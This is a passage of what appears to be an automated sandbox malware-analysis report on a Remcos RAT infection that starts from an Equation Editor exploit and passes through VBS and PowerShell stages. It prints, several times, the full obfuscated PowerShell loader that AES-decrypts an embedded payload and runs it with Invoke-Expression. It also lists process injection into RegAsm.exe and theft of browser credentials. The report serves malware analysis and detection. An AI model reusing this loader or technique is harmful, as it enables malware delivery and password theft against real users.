                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeAPI call chain: ExitProcess graph end nodegraph_12-49192
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_004349F9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,12_2_0041CB50
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004432B5 mov eax, dword ptr fs:[00000030h]12_2_004432B5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00412077 GetProcessHeap,HeapFree,12_2_00412077
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434B47 SetUnhandledExceptionFilter,12_2_00434B47
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_004349F9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_0043BB22
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,12_2_00434FDC

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Yara detected Powershell download and execute
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3168, type: MEMORYSTR
                Injects a PE file into a foreign processes
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5AJump to behavior
                Writes to foreign memory regions
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 7EFDE008Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe12_2_004120F7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00419627 mouse_event,12_2_00419627
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni87355924191917571657221755980918cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cniunstmxui0hgfw3fdm1ert/tun0ubdloiqyhjlmxqihnecjctgq65plkspfurkcdrjeph4ihki2ib6ldmk9phm3xxkeni+fcksxpwgqqchotbxmi5gehoxzdilkulsmhsrgtrat4hlirjclijfhhppopad8wrrnjoaupibq8ljkcbyxn79xvshb07yd11fez/xbrm4eb0d6odjgtxhylrzf6j4efba9grgmdc4tkwy2zlmyr0bfez+txcikx6moawodsdqcjz8w7gbp0wx7cdbpibhixab4r+prvgaccg+0+3uep7n/ketdvanulujk7wm0vfcbyd/wvrtzf4youzwmoc3oacf/jrshl+say08x0qppscnvwz86ojjuoepgjsv67aspbpc+mt7exhdg3nzcev9ovnfyyq2mja+oyhp/f7vijb0t7gbdynwme4hifbgrkzkghh0vlgzbfsozqmmnyatrwwng1stwukeon1tmwo+gg02ry5xyl9dvsfohoro3yjn0n+knyfsitsld8vprgssvo3vdtrx83pc61aekuwgmokozlk3nzebypc+p8jh/rc5lwja5zr77tsv/3ml20f7os9kdmcybjegjeqbi2go74vj2welc1ow7mmkvohzmjpl4lbdccde3+rcmbilqbycalcm5aunss21ha2+mb9sy0fop8ez4uefmsux1rlq2l4c8nimjoagijgqysi/8/4pvnnd/sdhqf9jv/rjy+djdtvgcjd3eg+777e0i3zy2wwu4edo5corcrrao0qh5kucez0fy+pfnv3ycp5njlg3ee0phzw6smpaer25mwo6sdwnn/dbc6kjxcnudmbo0nsge1naamlvsvxyb09sotlfoqfki1htvgxntwgomcwso9fqjz6v2g6lgaw0fsjkoc9ekynuz2i6adevqhjebtb0xhr2feqyelq/pzpkskekgit2hk3lviwcmienjwqnjfen61s15yu2edgjit9mn3n8vslm2edkyhvsdcmrf7gu/p8wb6oknxnhosycbbbfwxbrtzltr07jaiq87pigqkxkltip+st5jln1rkhuvinakangwfm28rb84mkuqgixbyiubzntatp97cvhahwn4pxpi1kez7/kbaddkxcvvkn3tk4hlxc8ot+rpc8cczkwpzacgoszxk3wprlhnyjtq6zn0qe6sroqcie3ffggvicerreowxqvbpiw9usza17osc636m5zxstoqghiyakm/ddk+whfmdjgisve2wrgdtoq0qt+tggtb9bi3fkjgvpbcuwm1jpuhv/lpydidnqeldtlskziqiivm6lt/byy7al9k4rbqb6ijepuxyhndju46lxfgrasgd2xga6ahtgriacii6eaxgjsunerp5ivok6tfqctmutwbb720zk5bpukq==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni87355924191917571657221755980918cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cniunstmxui0hgfw3fdm1ert/tun0ubdloiqyhjlmxqihnecjctgq65plkspfurkcdrjeph4ihki2ib6ldmk9phm3xxkeni+fcksxpwgqqchotbxmi5gehoxzdilkulsmhsrgtrat4hlirjclijfhhppopad8wrrnjoaupibq8ljkcbyxn79xvshb07yd11fez/xbrm4eb0d6odjgtxhylrzf6j4efba9grgmdc4tkwy2zlmyr0bfez+txcikx6moawodsdqcjz8w7gbp0wx7cdbpibhixab4r+prvgaccg+0+3uep7n/ketdvanulujk7wm0vfcbyd/wvrtzf4youzwmoc3oacf/jrshl+say08x0qppscnvwz86ojjuoepgjsv67aspbpc+mt7exhdg3nzcev9ovnfyyq2mja+oyhp/f7vijb0t7gbdynwme4hifbgrkzkghh0vlgzbfsozqmmnyatrwwng1stwukeon1tmwo+gg02ry5xyl9dvsfohoro3yjn0n+knyfsitsld8vprgssvo3vdtrx83pc61aekuwgmokozlk3nzebypc+p8jh/rc5lwja5zr77tsv/3ml20f7os9kdmcybjegjeqbi2go74vj2welc1ow7mmkvohzmjpl4lbdccde3+rcmbilqbycalcm5aunss21ha2+mb9sy0fop8ez4uefmsux1rlq2l4c8nimjoagijgqysi/8/4pvnnd/sdhqf9jv/rjy+djdtvgcjd3eg+777e0i3zy2wwu4edo5corcrrao0qh5kucez0fy+pfnv3ycp5njlg3ee0phzw6smpaer25mwo6sdwnn/dbc6kjxcnudmbo0nsge1naamlvsvxyb09sotlfoqfki1htvgxntwgomcwso9fqjz6v2g6lgaw0fsjkoc9ekynuz2i6adevqhjebtb0xhr2feqyelq/pzpkskekgit2hk3lviwcmienjwqnjfen61s15yu2edgjit9mn3n8vslm2edkyhvsdcmrf7gu/p8wb6oknxnhosycbbbfwxbrtzltr07jaiq87pigqkxkltip+st5jln1rkhuvinakangwfm28rb84mkuqgixbyiubzntatp97cvhahwn4pxpi1kez7/kbaddkxcvvkn3tk4hlxc8ot+rpc8cczkwpzacgoszxk3wprlhnyjtq6zn0qe6sroqcie3ffggvicerreowxqvbpiw9usza17osc636m5zxstoqghiyakm/ddk+whfmdjgisve2wrgdtoq0qt+tggtb9bi3fkjgvpbcuwm1jpuhv/lpydidnqeldtlskziqiivm6lt/byy7al9k4rbqb6ijepuxyhndju46lxfgrasgd2xga6ahtgriacii6eaxgjsunerp5ivok6tfqctmutwbb720zk5bpukq==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crepJump to behavior
                Source: RegAsm.exe, 0000000C.00000002.1049251822.0000000000501000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerChrometibility Mode] - Microsoft Word
                Source: RegAsm.exe, 0000000C.00000002.1049251822.0000000000557000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerLX\ "geop
                Source: RegAsm.exe, 0000000C.00000002.1049251822.0000000000501000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
                Source: RegAsm.exe, 0000000C.00000002.1049251822.0000000000501000.00000004.00000020.00020000.00000000.sdmp, logs.dat.12.drBinary or memory string: [Program Manager]
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434C52 cpuid 12_2_00434C52
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00452036
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,12_2_004520C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,12_2_00452313
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00448404
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,12_2_0045243C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,12_2_00452543
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,12_2_00452610
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoA,12_2_0040F8D1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,12_2_004488ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: IsValidCodePage,GetLocaleInfoW,12_2_00451CD8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00451F50
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00451F9B
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00448957 GetSystemTimeAsFileTime,12_2_00448957
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041B60D GetUserNameW,12_2_0041B60D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,12_2_00449190
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3e07e48.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3569a80.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3e07e48.1.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000C.00000002.1049251822.000000000053C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049706857.000000000226E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049251822.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049251822.0000000000501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3168, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3320, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                Contains functionality to steal Chrome passwords or cookies
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data12_2_0040BA12
                Contains functionality to steal Firefox passwords or cookies
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\12_2_0040BB30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \key3.db12_2_0040BB30

                Remote Access Functionality

                barindex
                Detected Remcos RAT
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-9R4HLXJump to behavior
                Yara detected Remcos RAT
                Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3e07e48.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3569a80.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3e07e48.1.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000C.00000002.1049251822.000000000053C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049706857.000000000226E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049251822.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049251822.0000000000501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3168, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3320, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: cmd.exe12_2_0040569A

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity Information131
                Scripting                		Valid Accounts1
                Native API                		131
                Scripting                		1
                DLL Side-Loading                		11
                Deobfuscate/Decode Files or Information                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services11
                Archive Collected Data                		15
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault Accounts43
                Exploitation for Client Execution                		1
                DLL Side-Loading                		1
                Bypass User Account Control                		21
                Obfuscated Files or Information                		211
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol211
                Input Capture                		2
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain Accounts221
                Command and Scripting Interpreter                		1
                Windows Service                		1
                Access Token Manipulation                		1
                DLL Side-Loading                		2
                Credentials In Files                		1
                System Service Discovery                		SMB/Windows Admin Shares3
                Clipboard Data                		1
                Non-Standard Port                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal Accounts2
                Service Execution                		1
                Browser Extensions                		1
                Windows Service                		1
                Bypass User Account Control                		NTDS3
                File and Directory Discovery                		Distributed Component Object ModelInput Capture1
                Remote Access Software                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud Accounts2
                PowerShell                		Network Logon Script222
                Process Injection                		1
                Masquerading                		LSA Secrets34
                System Information Discovery                		SSHKeylogging3
                Non-Application Layer Protocol                		Scheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts21
                Virtualization/Sandbox Evasion                		Cached Domain Credentials2
                Security Software Discovery                		VNCGUI Input Capture213
                Application Layer Protocol                		Data Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                Access Token Manipulation                		DCSync21
                Virtualization/Sandbox Evasion                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job222
                Process Injection                		Proc Filesystem3
                Process Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAtHTML Smuggling/etc/passwd and /etc/shadow1
